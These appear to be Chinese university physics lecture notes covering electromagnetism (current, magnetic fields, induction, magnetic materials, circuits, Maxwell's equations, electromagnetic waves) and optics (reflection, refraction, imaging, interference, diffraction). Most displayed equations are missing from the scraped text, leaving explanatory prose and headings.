Note
\(E\)是真实电场,\(E_0\)真空中的电场
恒定电流¶
电流与电流密度¶
电流
电流定义为单位时间内通过某一横截面的电荷量
若单位体积内电荷数目为 \(n\),截面表面积为 \(s\) 电荷为 \(e\),速度为 \(v\),则电流为
电流密度
电流密度定义为单位时间内通过单位面积的电荷量
其中 \(\boldsymbol{J}\) 是电流密度,\(\boldsymbol{I}\) 是电流,\(\boldsymbol{A}\) 是横截面积
有:
在微小变化中,有
电阻与电导¶
电阻的定义式
电阻是决定式
其中 \(\rho\) 是电阻率,\(\sigma\) 是电导率
对于不规则物体,采用积分计算电阻
计算电阻

在地质勘探中,时常利用这种方法来勘探地底的资源,因为各种材料的电导率不同
欧姆定律的微分形式
可以推出
电功率与焦耳定律¶
电功率
电功率定义为单位时间内电流做的功
其中 \(P\) 是电功率,\(W\) 是电功,\(V\) 是电压,\(I\) 是电流
焦耳定律
对于 纯电阻电路 ,电功率可以表示为\(P = I^2 R = \dfrac{V^2}{R}\)
欧姆定律的微观解释¶

原本在导体中做热运动的电子,在施加了外部电场后,会产生漂移速度;
其中 \(\lambda\) 是电子的平均自由程,\(v_d\) 是电子的热运动速度,与\(\sqrt{T}\)成正比
这种算法给出了我们经典物理学中关于电阻的解释,与\(T\)是开方函数的关系,但是这只在定性方面的正确的,确实随着温度的升高,电阻会增大;但是更加现实具体的推导需要量子力学的帮助,才能给出很好的解释

磁学部分¶
约 2862 个字 18 张图片 预计阅读时间 10 分钟
Table of contents
Ampere's Law¶
对于电学,我们有库仑定律
Ampere's Law
其中,\(\mu_0\) 是真空磁导率,\(i_1, i_2\) 是电流,\(ds_1, ds_2\) 是电流元长度,\(r_{12}\) 是电流元之间的距离。
Newton's Third Law
Case 1: 两电流元平行
Case 2: 两电流元垂直
Why?
这只是一小段的电流元,当考虑一整段电流时,得到的结果并不违背牛顿第三定律,当年安培就是利用相互垂直时的这一特性,巧妙的设计了实验来证明了安培定律。
Biot-Savart Law¶
继续根据电场中的思想,引入试探电流源并定义 磁感应强度
如果固定一个电流元,积分另一电流元,我们有
定义:
因此:
磁感应强度
单位为 \(T\),特斯拉。
为什么不是磁场强度?
如果要完全跟电场对应,应该使用磁场强度,但是却叫磁感应强度,这是因为大家都这么叫
长直导线周围的磁场场¶
如果是无限长,则
也就是说,无限长直导线周围的磁感应强度与距离成反比。
Note
回忆电场中的无限长直导线,其电场强度与距离成反比。
圆电流轴线上的磁场¶
其中由于对称性在与圆环平行的方向上,磁感应强度为零。
Note
当 \(r_0 \to 0\) 时,\(B \to \frac{\mu_0 i}{2R}\)
当 \(r_0 \to \infty\) 时,\(B \to \frac{\mu_0 i}{2r_0^3}R^2\) 与 \(r_0^3\) 成反比。在磁场中,电偶极矩在无穷远处产生的电场也与 \(r^3\) 成反比。
定义磁偶极矩
则
如果有N匝线圈,则
或者令 \(m' = N i \pi R^2\),
电流平面产生的磁场¶
由于对称性,在只会在\(x\)方向上产生磁场
Note
当 $a \to 0,\alpha \to \tan\alpha = \dfrac{a}{2R} $ 时,\(B_x \to \dfrac{\mu_0 i}{2\pi R}\)
当 \(a \to \infty, \alpha \to \dfrac{\pi}{2}\) 时, \(B_x \to \dfrac{\mu_0 i}{2 a}=\dfrac{1}{2}\mu_0 n i_0\),n为单位长度电流数目i_0为单位电流
单层通电螺旋管产生的磁场¶
在通电螺旋管内部,会产生匀强磁场
设\(x\)为点P据中心轴线的水平距离;螺线管长度为\(L\),单位长度匝数为\(n\),每匝电流为\(i\)。
根据磁偶极矩产生的磁场公式
Note
\(L \to \infty\) 时,\(B = \mu_0 n i\)
多层通电螺线管产生的磁场¶
从下往上,逐层积分
\(ni\) 为每一层单位长度的电流,
其中\(N'\)为每一层的匝数,\(j\)电流密度,\(R_1,R_2\)为内外半径,\(N\)为总匝数。
详细过程
毁了啊,secx的原函数都记不住
磁场的Gauss定律和回路定律¶
磁场中的Guass定律
Proof
考虑在轴线处的\(ids\)产生的磁场,对于红色的闭合曲面,可以考虑一个穿过去的小圆环;
磁场中的回路定律
以右手定则判断正负,即按照积分方向使用右手定则,大拇指指向的方向就是电流的正方向,不需要对穿过去的电流进行投影,有多少穿过就直接算多少
有了回路定律,求磁场就方便得多了
带电无穷长圆柱周围的磁场¶
因为磁场方向与积分方向平行;半径如果是大于圆柱的半径,则
如果积分区域在里面,则
Key-point
这说明磁场在R处达到最大
无穷大的板¶
因为水平方向上由于对称性,磁场为零;
在电路分布的两侧,磁场方向相反,大小相等;
设正方形的边长为\(w\),则
通电无穷长螺线管?为什么不是两块板
如果把螺线管中间切一刀,情况就与两块板很相似了,对于两侧,由于方向不同可以消去; 在中间,由于对称性,磁场为一块板的两倍,所以磁场为
这正是我们之前推导的结果
螺绕环¶
电流在磁场中受到的力与力矩¶
用右手定则来判断方向
Warning
左手定则,out!全部使用右手定则,如果是电子运动,也可以当作微小电流来处理,安培力和洛伦兹力本质上是一样的
Example
平的部分很简单,弯弯的部分使用微分,发现水平部分的力由于对称性为零,只有竖直部分的力
Note
Info
安培的定义;两个相距\(1m\)的直导线,通过的电流,产生的力为\(2 \times 10^{-7} N\);这样大小的电流称为\(1A\)
矩形线圈¶
Definition
磁偶极矩的方向为右手定则的方向
对于一个矩形线圈,如果它能绕着一个轴旋转,如图
任意形状线圈¶
现在将结论推广到任意形状的线圈,如图,磁偶极矩与磁场垂直
将线圈分割为一个个小矩形,每个小矩形内部电流依次相消,最后合电流为原电流
Key-point
这种力矩使得磁偶极矩有转到磁场方向的趋势
点电荷在磁场中运动¶
Property
- 洛伦兹力不做功
- 洛伦兹力只改变速度方向,不改变速度大小
- 洛伦兹力方向用右手定则判断
- 对于速度为\(v\)的点电荷,洛伦兹力为\(q \boldsymbol{v_{\perp}}\boldsymbol{B}\)
- 如果在匀强磁场中,做圆周运动,则\(q \boldsymbol{v_{\perp}}\boldsymbol{B} = \dfrac{mv^2}{r} \rightarrow r = \dfrac{mv}{qB}\)
- 速度选择器:\(\boldsymbol{E} \perp \boldsymbol{B}\),则\(qE = qvB \rightarrow v = \dfrac{E}{B}\),速度选择器接着一个磁场,根据半径不同,可以做到分离同位素
- 回旋加速器: 电场加速,磁场偏转,交流电的周期与粒子做圆周运动的周期相同;\(v=\dfrac{qBr}{m}\),\(T=\dfrac{2\pi m}{qB}\),\(E_k = \dfrac{1}{2}mv^2 = \dfrac{q^2 B^2 r^2}{2m}\)
Warning
当回旋加速器中的粒子速度接近光速时,粒子质量会发生变化,导致粒子做圆周运动的周期发生变化,从而导致固定的交流电频率无法一直加速;粒子无法被加速到更高的能量。可以通过修改磁场大小:
修改B;
- 同步加速器
- 霍尔效应:带电粒子在磁场中运动,在垂直于磁场方向的导体中,由于洛伦兹力,电荷会向一侧偏转,从而在导体两侧形成电势差,平衡时,洛伦兹力等于电场力,\(qE = qvB \rightarrow E = vB\),\(U = E \cdot d = vBd\),\(I = j \cdot d \cdot w = nqv \cdot d \cdot w\),\(j = nqv\),\(U = \dfrac{I B d}{nqwd}\),\(R_H = \dfrac{U}{I} = \dfrac{B}{nqw}\),\(R_H\)称为霍尔系数,\(n\)为载流子浓度,\(q\)为载流子电量,\(w\)为导体宽度,\(d\)为导体厚度
电动力学¶
约 3331 个字 33 张图片 预计阅读时间 11 分钟
法拉第电磁感应定律¶
Key-point
楞次定律已经蕴含在"-"号中,楞次定律是能量守恒定律在电磁感应中的体现
动生电动势¶
电荷受到的非静电力
实际上这个是洛伦兹力的分量
Proof
动生电动势
发电机
感生电动势¶
涡旋电流
Proof
做功相等
这提供了一种求出感生电场的方法
Example
磁场静止,动生电动势\(\varepsilon=BDv\)
磁场运动,感生电动势
变化的磁场
推广电场环路定律
运用stokes公式
Danger
在涡旋电场中,环路积分并不是0,所以在涡旋电场中不能使用电势的概念
电感¶
互感¶
\(i_1\)产生的磁场会使得\(s_2\)感应出\(\varepsilon_2\)
\(i_2\)产生的磁场会使得\(s_1\)感应出\(\varepsilon_1\)
由\(s_1\)在\(s_2\)上导致的磁通匝链数
由\(s_2\)在\(s_1\)上导致的磁通匝链数
互感系数
如上的\(M_{12}\)和\(M_{21}\)就是被称为互感系数,单位为亨利(Hery)
常见的有\(mH,\mu H\)等
自感¶
类似的有
其中\(L\)被称为自感系数
通电螺线管的自感系数¶
\(n\)为单位长度的匝数
磁场强度
磁通匝链数
自感系数
单位体积的自感系数
单位长度的自感系数
长方形截面螺绕环¶
同轴电缆¶
线圈拼接¶
其互感系数为
自感系数为
顺接
反接
材料的磁性质¶
在电容器中间插入电介质,可以让电容增大
在通电螺线管中插入铁磁材料,同样可以为自感系数增大
其中\(\kappa_m\)被称为磁导率
对于顺磁性材料,其磁导率约为1;对于铁磁性材料,其磁导率远大于1(\(10^3 \sim 10^4\))
价电子的磁偶极矩¶
角动量为
所以
自旋的磁偶极矩¶
自旋角动量¶
| Particle | Spin | Type |
|---|---|---|
| Electron | \( s = \frac{1}{2} \hbar \) | Fermi |
| Proton | \( s = \frac{1}{2} \hbar \) | Fermi |
| Neutron | \( s = \frac{1}{2} \hbar \) | Fermi |
| Deuteron | \( s = \hbar \) | Bose |
| Alpha Particle | \( s = 0 \) | Bose |
Note
\(\hbar=\dfrac{h}{2\pi}\) 为约化普朗克常数
自旋磁矩¶
Key-point
总磁矩
磁化强度\(M\)¶
在电容部分,我们引入了极化强度\(P\),在磁场部分,我们也类似的引入磁化强度\(M\)用于刻画磁性材料的磁性质
向通电螺线管中插入铁磁材料,原本杂乱无章的分子磁矩会受到磁场的作用,使得磁矩方向趋于一致,朝向磁场方向,在宏观上相当于在材料外围产生了一个电流
此时磁场被增强
磁化强度矢量
我们定义磁化强度矢量\(\boldsymbol{M}\)为单位体积内磁矩的矢量和,即
我们也希望磁化强度矢量有类似于极化强度矢量的性质,即
红色的是电流,电流面密度为
只用除以\(\Delta z\)是因为我们只考虑到了表面的电流,即其向\(y\)的方向是没有的
磁场强度¶
由环路定律
定义磁场强度为
Note
磁化强度和磁场强度的关系为
那么
则 \(\kappa_m=1+\chi_m\)
Example
在上面的例子中,我们可以得到
Idea
以这样的角度来看,磁场强度\(H\)和电场强度\(E\),磁感应强度\(B\)和电感应强度\(D\)的关系又是可以对应的
磁化率与磁导率¶
| 顺磁 | 抗磁 | 铁磁 | |
|---|---|---|---|
| \(\chi_m\) | 大于0但是小(\(10^{-6}\)) | 小于0但绝对值远小于1 | 与磁场强度有关 |
| \(\kappa_m\) | 大于1但是接近1 | 小于1但是接近1 | 与磁场强度有关(\(10^2 \sim 10^3\)) |
微观解释¶
顺磁材料(paramegnetic material)¶
原本杂乱无章的磁矩,在外磁场下,材料内部的磁矩会朝向磁场方向,但是与温度有关
居里定律
其中\(C\)为居里常数,\(T\)为温度
顺磁性的磁化率很小,磁化强度也很小,对磁场的影响很小
抗磁材料(diamagnetic material)¶
抗磁材料在没有外磁场的情况下,内部总磁矩为0;即:
原本电子磁矩相消,加上外磁场后,电受到洛伦兹力,不管它是被加速还是被减速,都会产生一个与外磁场方向相反的磁矩(抗磁);
增加的力与库仑力相比要小的多,产生的磁场也比顺磁材料感应的磁场小得多,对轨道半径几乎没有影响
其磁矩的变化为
铁磁材料(ferromagnetic material)¶
初始的\(\mu \neq 0\),且近邻原子磁矩间存在强相互作用
磁化强度矢量与温度的关系
居里-维斯定理
磁畴¶
即使在没有外加磁场B的情况下,磁性材料中的磁偶极子(磁性小区域)也会倾向于在小范围内强烈地排列成特定的方向,形成所谓的“磁畴”。当施加外部磁场时,这些磁畴会重新排列,使得它们的方向一致,从而产生大的净磁化强度。
-
软铁磁体:指的是容易被磁化和退磁的磁性材料。它们在外部磁场作用下磁畴会有序排列,但磁场移除后磁畴会很快随机化。
-
硬铁磁体:指的是不易被退磁的磁性材料,例如某些特殊合金。它们在外部磁场移除后仍能保持磁畴的有序排列,因此具有较强的磁性。
-
永久磁体:通常指永久保持磁性的材料,例如稀土磁铁。它们的磁畴在没有外力作用下不会随机化,但可以通过施加外力(如磁场或震动)来改变磁畴的方向。
-
居里点:是磁性材料的一个物理特性,指的是材料由铁磁性变为顺磁性的转变温度。对于铁来说,这个温度是770摄氏度。
RL-回路¶
RC回路
开关打到a¶
When \( t = 0, i = 0 \), thus \( C' = -\frac{\varepsilon}{R} \).
所以
时间常数\(\frac{R}{L}\)
对于电流
最大是\(\dfrac{\varepsilon}{R}\),在\(t=L/R\)达到最大值的\(63\%\)
对于电压
最大是\(\varepsilon\),在\(t=L/R\)达到最大值的\(37\%\)
开关打到b¶
\(t=0\),\(i_0=\dfrac{\varepsilon}{R}\)
对于电流,在\(L/R\)时间后,电流减少到原来的\(37\%\)
对于电压,在\(L/R\)时间后,电压减少到原来的\(37\%\)
线圈的能量¶
Note
回忆电容器的能量
Info
如果是互感线圈,那么 \(W=MI_1I_2\)
Key-point
磁场的能量密度
总结
\(\mu_B=\dfrac{1}{2}\boldsymbol{B} \cdot \boldsymbol{H}\)
\(\mu_E=\dfrac{1}{2}\boldsymbol{D} \cdot \boldsymbol{E}\)
电磁振荡¶
电容电场能和线圈磁场能量相互转化
Info
可以类比于弹簧振子,弹簧的势能和动能相互转化
\(q\)->弹簧的位移\(x\),\(i\)->弹簧的速度\(v\),\(\dfrac{1}{C}\)->弹簧的劲度系数\(k\),\(L\)->弹簧的质量\(m\)
Proof
阻尼和受迫振动¶
RLC电路¶
对于开关打到a和b的情况,我们可以得到
即
过阻尼
当
此时为过阻尼震荡
临界阻尼
当
此时为临界阻尼震荡
图像与过阻尼相似,但是震荡得更快
欠阻尼
当
此时为欠阻尼震荡
做振幅不断减小的振动
受迫振动和共振
如果外加电压为交流电,当变化频率与电路固有频率相同时,电路会发生共振
Info
普通的天线无法同时接受很多的信号,如果很多人一起打电话,那么电线就会瘫痪掉,但是如果使用的是超导体天线,电阻很小,其振幅的宽度很小很小,不用担心共振的问题
最后,附上本人普通物理学(I)有关阻尼震荡的笔记,有空再敲上来吧
Maxwell Equation¶
约 3735 个字 14 张图片 预计阅读时间 13 分钟
改变人类文明进程的伟大方程(我了个豆,敲LaTeX真累啊)
对称性原则¶
我们首先回忆学过的方程
在真空中,我们有
- 电场高斯定理
- 磁场高斯定理
- 法拉第电磁感应定律
- 安培环路定理
在电介质或者磁芯材料中,我们有
- 电场高斯定理推广
- 磁场环路定理推广
我们还有欧姆定律微分形式
对称性原则:物理学家们希望方程是对称美观的,观察电场和磁场的高斯定律,于是自然不想看到磁场高斯定律的等号右边空空如也,也希望电场环路定律出现电流的形式,所以引入了磁荷\(q_m\)对方程进行修正
Stokez公式与麦克斯韦方程¶
我宣佈現在我也是麥克斯韋了
使用电场的环路定理,再用斯托克斯公式变成面积分
这启发我们,以一个封闭的曲面包裹着电流,其面积分为0;
但是这样的结论在给电容器充电时出现了诡异的情况
对于(1,2)曲面,面积分为0,(1,4)曲面,面积分为0,但是(1,3)曲面,面积分不为0,此时电流从1面进入,但是没有从3面出去;这太不自然了
所以我们自然引入位移电流\(I_D\)
但是\(I_D\)是什么呢?我们可以从面积分的形式出发
考虑(1,3)曲面\(S\),只进不出
所以在(1,3)曲面上,我们有
此时在1曲面进的等于3曲面出的
位移电流
1曲面没有位移电流,3曲面没有自由电流,位移电流\(I_D=I_0\)
最后,更加完整的定义为
分别是电位移通量,位移电流,位移电流密度
i_D=i_0
电容充满电之后\(i_D=i_0=0\);
这个电流也会产生磁场

变化的电场产生磁场,变化的磁场产生电场,这就是麦克斯韦方程
最后,我们得到
以及
电磁波¶
我们可以从麦克斯韦方程推导出电磁波的性质
积分形式:
微分形式(自由空间:\(\rho_0 = 0, \boldsymbol{J}_0 = 0\)):
分量形式:
平面波¶
首先,假设单一波源,在很远的自由空间中,在球面上取一弧面,可以近似为平面波;以其传播方向为\(z\)轴,电场和磁场分别为\(x\)和\(y\)轴
将上面的式子依次展开,得到以下8个方程
接下来,运用这八个方程,一步步推导出电磁波的性质
横波¶
首先,我们有,在\(x\)和\(y\)方向的电场强度和磁场强度都是一样的,不会变化;所以
由 (1) 式,我们有
由 (2-3) 式,我们有
由 (3) 式,我们有
由 (4-3) 式,我们有
所以电场和磁场随着z轴的变化是不变的,可以设为\(0\)
\(E \perp H\)¶
运用\(E_z=H_z=0\),我们有
(2-1) 式
(2-2) 式
(4-1) 式
(4-2) 式
由于\(x,y\)的方向是任意定的,那么我们可以设\(x\)的方向就是电场的方向;那么我们有
所以磁场强度的方向与电场强度方向垂直,故\(E \perp H\)
波动方程¶
原来光就是电磁波
对上面的四个方程中的(2-2)两边对\(t\)求偏导
同理,对(4-1)操作,得到以下两个方程
猜根得到
带入方程,得到
又因为
在真空中,磁导率和介电常数为1;代入数据计算发现,\(v=c=3.0 \times 10^8 m/s\),这就是光速
Info
詹姆斯·克拉克·麦克斯韦(James Clerk Maxwell)在1861年至1862年期间,通过他的电磁理论推导出了光速。他在发表于1865年的论文《电磁场的动力学理论》(A Dynamical Theory of the Electromagnetic Field)中系统地总结了这一成果。
麦克斯韦通过结合法拉第电磁感应定律、安培定律(修正后引入了位移电流)、高斯定律以及高斯磁定律,形成了一组描述电磁场的方程组,即后来被称为“麦克斯韦方程组”。在推导过程中,他注意到电磁波的传播速度与介质的电磁性质相关:
当麦克斯韦使用当时已知的实验数据计算该值时,发现其结果接近于已知的光速(约 \( 3 \times 10^8 \, \text{m/s} \))。因此,他提出了一个革命性的假设:光是一种电磁波。这一发现是物理学史上的重要里程碑,将电磁学和光学统一在一个理论框架内。
而式子中余下的
即为折射率(光速在真空中的速度与介质中的速度的比值)
电场和磁场¶
由推导电场与磁场相互垂直的(2-2)式\(\dfrac{\partial E_x}{\partial z} = -\kappa_m \mu_0 \dfrac{\partial H_y}{\partial t}\),继续将得出的电场和磁场代入,得到
初相相同
在真空中,\(\kappa_e=\kappa_m=1\)
所以
Key-point
电场和磁场只差一个常数!
电磁波的能量密度¶
单位体积内电磁波的能量包括电场的部分和磁场的部分
更一般的
展开:
由麦克斯韦方程:
代入高亮部分后得到:
以上的化简运用了
最后运用高斯定理化简得到
接下来,我们继续讨论最后的\(J_0 \cdot E\) 积分会得到什么
由于\(J_0 =\sigma (\boldsymbol{E}+\boldsymbol{K}) , \therefore \boldsymbol{E}=\dfrac{1}{\sigma} J_0 - \boldsymbol{K}\)
所以

最后得到单位时间内的能量为
Key-point
Poynting 矢量¶
定义单位时间,单位面积内的能量流动
Note
其中\(Z_0=377 \Omega\)
能量密度(单位时间,单位面积)为Poynting矢量的均值
Note
电场能量密度与磁场能量密度的关系
故总能量密度(单位时间,单位体积)为
\(I\) 与 \(\mu\) 的关系
Example
电路中的能量传输¶
如图的一个直流电路
考虑与电源正极相连的导线,导线内部有一个电场,那么导线外部一定也有一个方向相同的电场,这是因为
再加上一个垂直导线的电场,根据\(S=E \times H\),我们可以得到能量流动的方向,一方面流向电阻,另外一方面被导线消耗
与电源负极相连的导线也是类似的;
电磁波蕴含的力¶
首先假设其有一个力\(\Delta F\),那么这个力会对电荷做功,即\(\Delta W = \Delta F \cdot \Delta l\);而这一部分功就是这个物体吸收的净能量;
故
Warning
注意是矢量减
光压(light pressure)¶
单位面积上的力
动量密度¶
单位体积内的动量
\(g_{in}=\dfrac{1}{c^2}S_{in}\) 为入射光的动量密度,\(g_{out}=\dfrac{1}{c^2}S_{out}\) 为反射光的动量密度
Key-point
对于白体,\(S_{in}=S_{out}\),故\(g_{in}=g_{out}\)
对于黑体,\(S_{out}=0\),故\(g_{in}=\dfrac{1}{c^2}S_{in}\)
光学¶
约 8317 个字 63 张图片 预计阅读时间 29 分钟
可见光¶
在电磁波中,可见光只占了很小一部分
Property
- 可见光波长范围:\(400nm-700nm\)
- 可见光频率范围:\(4.3\times10^{14}Hz-7.5\times10^{14}Hz\)
- 可见光波长与频率的关系:\(\lambda f=c\)
- 人眼最敏感的波长\(550nm\)左右为黄绿光
- 波长越长,频率越低,能量越低,所以红光能量最低,紫光能量最高
波的多普勒效应¶
其中,\(v\)为波在介质中的传播速度,波源速度为\(v_s\),接收者速度为\(v_0\),\(f\)为波的频率
对于光波,有红移和蓝移
- 红移:波源远离接收者,波长变长,频率变小,光谱向红色移动
- 蓝移:波源靠近接收者,波长变短,频率变大,光谱向蓝色移动
Key-point
通式为
其中\(\theta\)为速度与光波运动的夹角
几何光学¶
全反射¶
全反射是光波在传播过程中发生的一种物理现象。当光从光密介质(如玻璃或水)进入光疏介质(如空气)时,如果入射角大于某个临界角(称为临界角),光就不会发生折射,而是全部被反射回光密介质,这种现象称为全反射
例如,在玻璃中,\(n=1.5\),在空气中,\(n_0=1\);又有
临界角为\(\theta_2 = 90^\circ\),所以此时
如果入射角大于临界角,光就会发生全反射,被束缚在光密介质中,在这个例子中,临界角为\(\theta_c = \arcsin \dfrac{1}{1.5} = 41.8^\circ\)
Note
求折射率,可以通过以下公式求解
其中\(\theta_1\)为空气中入射角,\(\theta_2\)为折射角
色散¶
**色散现象**是指当白光或复色光通过介质(如棱镜、光栅)时,不同波长的光由于折射率不同而发生不同程度的偏折,从而使光被分解成各种单色光的现象。它是光的波动特性的一种表现,主要由介质的**折射率随波长的变化**引起。
由于 \( v \) 与波长 \( \lambda \) 相关,介质对不同波长的光折射率不同,导致折射角不同。通常情况下:
- 短波长光(如紫光)折射率较大,偏折角较大。
- 长波长光(如红光)折射率较小,偏折角较小。
这种波长依赖性导致了色散。
惠更斯原理¶
定理内容
波前上的每一个点都可以看作是新的球面波(次波)源,这些次波相干叠加后形成了波的传播方向和波前。
惠更斯原理证明光的反射与折射
反射
证明三角形全等,运用等角互余
折射
再运用
带入即可
费马原理¶
光程定义为
其中\(n_1\)和\(n_2\)分别为两个介质的折射率,\(s_1\)和\(s_2\)分别为两个介质中光线的实际路径长度
积分形式为
费马原理是指光线在传播过程中,若可以成像,则光程的变分为零(对某一个变量求偏导为零)
即
费马原理证明反射和折射
成像(Image Formation)¶
成像的基本原则是等光程
左边称为物方,右边称为像方
球面镜成像¶
C为球心;r为球半径;
首先,使用正弦定理
使用余弦定理
不同的\(\phi\)对应不同的成像位置,球面不能成像;
唯一可能的位置为两边为0;
或者使用旁轴近似,即\(\phi\)很小,右边为0;
又有
符号的约定
- \(o\),实为+,虚为-(Q,在左为+,右为-)
- \(i\),实为+,虚为-(Q',在左为-,右为+)
- \(r\),凸为+,凹为-(C,在左为-,右为+)
球面镜反射¶
带入折射公式
如果是平面镜,那么\(r \to \infty\),成虚像;
放大倍数¶
首先,由旁轴近似
\(y'<0\)
如果\(n=n'\),则\(m=-\dfrac{i}{o}\) 负号表示倒像
薄透镜成像¶
首先,对于\(n\)和\(n_L\),\(n_L\)和\(n'\),分别使用球面镜成像公式
其中
\(o_2\)是Q经过第一个球面镜的虚像像距,所以
对于(1)式两边同时乘以\(f_2\),对于(2)式两边同时乘以\(f_1'\)
相加
除过去,得到
其中,令
磨镜者公式(Lens Maker's Equation)¶
所以
如果\(n=n'=1\),则\(f' = f\)
如果\(f'和f\)都为正,则透镜为凸透镜,反之\(f,f'\)为负,则透镜为凹透镜
符号约定¶
- 如果 \(Q\) 在 \(F\) 点的左侧,\(x > 0\)
- 如果 \(Q\) 在 \(F\) 点的右侧,\(x < 0\)
- 如果 \(Q'\) 在 \(F'\) 点的左侧,\(x' < 0\)
- 如果 \(Q'\) 在 \(F'\) 点的右侧,\(x' > 0\)
可以化简为
横向放大倍数与屈光度¶
对于单个镜面,放大倍数为
其中\(o_2\)是Q经过第一个球面镜的虚像像距,是负的;
定义屈光度
眼镜度数定义为100D;
人眼成像¶
人眼最近可以看清的距离为25cm,最远可以看清的距离为无穷远;
此时\(f = 22.7mm\)
看无穷远时,\(d_o = \infty, d_i = 25mm\),此时\(f = 25mm\)
近视眼和远视眼可以抵消吗?
近视眼和远视眼不能抵消,近视眼是看不清无穷远,成像在视网膜前方,远视眼是看不清25cm,成像在视网膜后方;两者都是因为人的晶状体变化跟不上,如果同时有近视眼和远视眼,可能只能看到特定距离的物体;
放大镜¶
对于很小的物体,我们可以把它凑得离眼睛很近,但是这样对晶状体的压力很大,所以我们使用放大镜,凑得很近的时候,利用放大镜成一个放大的虚像
例如,原本在\(N\)的地方有一个小物体,高度为\(d_0\)
利用放大镜
放大倍数
对于该放大镜
我们要把像成在N处,\(d_i\)是虚像,所以\(-d_i = N\)
也就是说
得到放大倍数为
波动光学¶
光的干涉(Interference)¶
光的叠加¶
电场强度 \(E\) 的振动在空间的传播可以表示为:
对于两列光波的叠加:
- \(\omega_1 = \omega_2 = \omega\)
- \(E_1 = E_{10} \cos(\omega t + \varphi_{10})\)
- \(E_2 = E_{20} \cos(\omega t + \varphi_{20})\)
叠加电场:
- 同相位:\(\Delta \varphi = 0\),相干,in phase
- 反相位:\(\Delta \varphi = \pi\),out of phase
复平面矢量推导
对于两列光波的叠加:
- \(\omega_1 = \omega_2 = \omega\)
- \(E_1 = E_{10} \cos(\omega t + \varphi_{10})\)
- \(E_2 = E_{20} \cos(\omega t + \varphi_{20})\)
叠加电场:
光强:
其中,\(\Delta\varphi = \varphi_{20} - \varphi_{10}\)
干涉的光强分布
干涉现象的光强分布可以表示为:
其中,\(I_1\) 和 \(I_2\) 是两列光波的强度,\(\Delta \varphi\) 是相位差。
当 \(I_1 = I_2\) 时,光强分布为:
这表明光强的最大值为 \(I_{\text{max}} = 4I_1\),最小值为 \(I_{\text{min}} = 0\)。
媒质中的光程¶
相位差在分析光的干涉时十分重要,为便于计算光通过不同媒质时的相位差,引入“光程差”的概念。(光程是 \(\int n ds\))
如果在介质中
此时
结论
- 相干条件:振动方向相同,相位差恒定,频率相同
干涉判断:
杨氏双缝干涉实验¶
- 干涉相长,明纹:\(\delta = d \cdot \frac{x}{D} = \pm k\lambda\)
- 干涉相消,暗纹:\(\delta = d \cdot \frac{x}{D} = \pm (2k - 1)\frac{\lambda}{2}\)
- 暗纹中心:\(x_{\pm(2k+1)} = \pm (2k - 1)\frac{D}{2d}\lambda, \, k = 1,2,3\ldots\)
- 明纹中心:\(x_{\pm k} = \pm k\frac{D}{d}\lambda, \, k = 0,1,2,3\ldots\)
- 两相邻明纹(或暗纹)间距:\(\Delta x = \frac{D}{d}\lambda\)
Question
-
若S1、S2两条缝的宽度不等,条纹有何变化? 两条缝的宽度不等,使两光束的强度不等;虽然干涉条纹中心距不变,但原极小处的强度不再为零,条纹的可见度变差。
-
若使用白光进行干涉实验,条纹有何变化? 若使用白光光源,则在中央零级出现白色亮纹,两侧对称排列若干彩色条纹。
-
用白光 作双缝干涉实验时,能观察 到几级清晰可辨的彩色光谱? 在中央白色明纹两侧, 只有第一级彩色光谱是清晰可辨的。
洛埃德镜实验¶
当屏移到A'B'位置时,在屏上的P点出现暗条纹。这一结论证实,光在镜子表面反射时有相位\(\pi\)突变。
Reflection Phase Shifts半波损失
如果光是从光 疏媒质传向光密媒质,在其分界面上反射时将发生半波损失,折射波无半波损失。在上述实验中,光从空气传向玻璃,因此在反射时发生半波损失。产生\(\pi\)的相位差,因此为暗纹。
等厚干涉¶
当一束平行光入射到厚度不均匀的透明介质薄膜上,如图所示,两光线 \(a\) 和 \(b\) 的光程差:
其中,\(\delta'\) 为因为半波损失而产生的附加光程差。
- 当 \(e\) 保持不变时,光程差仅与膜的厚度有关,凡厚度相同的地方光程差相同,从而对应同一条干涉条纹 —— 等厚干涉条纹。
劈尖膜
从空气到玻璃存在半波损失
发生干涉时
相邻明纹(或暗纹)
利用劈尖测量工件凹凸
利用相似三角形关系,我们可以得到:
所以:
牛顿环实验
光程差为
由几何关系可知
展开并简化得到:
忽略 \(e^2\) 项,得到:
对于 \(k = 0\),\(r = 0\),中心是暗斑。
对于 \(k = 1\),
牛顿环是等厚干涉,其干涉条纹是内疏外密的同心圆环。
光的衍射(Diffraction)¶
光在传播过程中遇到障碍物时,会绕过障碍物继续传播,这种现象称为光的衍射。
Note
- 菲涅尔衍射:菲涅耳衍射是指当光源和观察屏,或两者之一离障碍物(衍射屏)的距离为有限远时,所发生的衍射现象
- 夫琅禾费衍射:当光源和观察屏两者均离障碍物(衍射屏)的距离为无限远时,所发生的衍射现象
惠更斯-菲涅尔原理
- 惠更斯原理:波面上的每一点都可以看作是新的次波源,这些次波源发出的球面次波(wavelets)的包络面就是新的波c面。
- 惠更斯-菲涅尔原理:次波源发出的球面次波在空间某点的相干叠加,决定了该点波的强度。
- \(K(\theta)\) 为倾斜因子,当 \(\theta = 0\) 时,\(K(\theta) = 1\)( 沿原波传播方向的子波振幅最大),\(\theta\) 越大,\(K(\theta)\) 越小, 当 \(\theta = \frac{\pi}{2}\) 时,\(K(\theta) = 0\)。大于 \(\frac{\pi}{2}\) 时,\(K(\theta)\) 为0,子波不能向后传播。
惠更斯-菲涅尔原理的数学表示
在夫琅禾费衍射中,由于距离是无限远,所以 \(r\) 和 \(\theta\) 都是常数,可以写成:
单缝夫琅禾费衍射¶
光路图如下:
- 光程差:\(\delta = a \sin \theta\),这是因为费马原理等光程
当 \(\theta = 0\) 时,\(a \sin \theta = 0\),此时为中央明纹
菲涅尔半波带法¶
在波阵面上截取一个条状带,使它上下两边缘发的光在屏上处的光程差为 \(\lambda/2\),此带称为半波带。
- 当 \(a \sin \theta = \lambda\) 时,可将缝分为两个“半波带”。
- 相邻半波带上对应点发的光在 \(P\) 处干涉相消形成暗纹。
由半波带法可得明暗纹条件:
- 暗纹:\(a \sin \theta = \pm k\lambda\), \(k = 1,2,3,\ldots\)
- 明纹:\(a \sin \theta = \pm (2k + 1)\frac{\lambda}{2}\), \(k = 1,2,\ldots\)
- 中央明纹:\(a \sin \theta = 0\)
对于其它角度,使用振幅矢量叠加法;
通过公式推导,我们可以得到:
这可以进一步简化为:
振幅的绝对值为:
当 \(N\Delta\varphi = \frac{2\pi}{\lambda} a \sin \theta\) 时,我们可以定义:
因此,振幅可以近似为:
